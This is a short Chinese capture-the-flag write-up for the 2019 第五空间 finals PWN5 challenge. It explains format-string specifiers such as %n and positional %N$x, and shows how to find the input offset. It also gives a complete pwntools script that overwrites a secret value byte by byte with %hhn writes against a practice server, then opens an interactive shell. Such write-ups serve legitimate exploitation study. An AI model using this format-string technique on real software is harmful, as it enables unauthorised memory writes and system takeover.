[第五空间2019 决赛]PWN5


 格式化漏洞讲解:  https://www.cnblogs.com/0xJDchen/p/5904816.html

%x是吧数据以16进制输出

%n是把已经输出的字符数目输入传来参数的地址中,这就可以使我们修改数据

格式 : %12$x    可以直接定位到地12个参数   其他%p,%s,%%n等类似

一般来说 先输入 'AAAA %08x %08x %08x %08x %08x.....'来判断我们输入首地址的偏移 (找到41414141就是AAAA)

继而就可以任意修改栈上的数据

看题目

 

明显的格式化漏洞

因为这个unk_804c044从服务器读入,无法知道其内容,所以使用%n将其数据修改,随后passwd输入相同的数据即可

from pwn import *

# io=process('./pwn')

io=remote('node3.buuoj.cn',28876)

addr=0x0804C044

# base=10

payload=p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3)

payload+='%10$hhn%11$hhn%12$hhn%13$hhn'

io.sendline(payload)

payload=str(0x10101010)

io.sendline(payload)

io.interactive()

 

补充说明:%n   %s  是要解析出数据表达的地址的, 所以我们才能实现任意地址修改(要有修改权限,没有的话可以调用某个函数,给忘了。。。)

  这里我们把bss地址先输入,然后用%10hhn  %11hhn  %12hhn  %13hhn按一个一个byte地修改


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM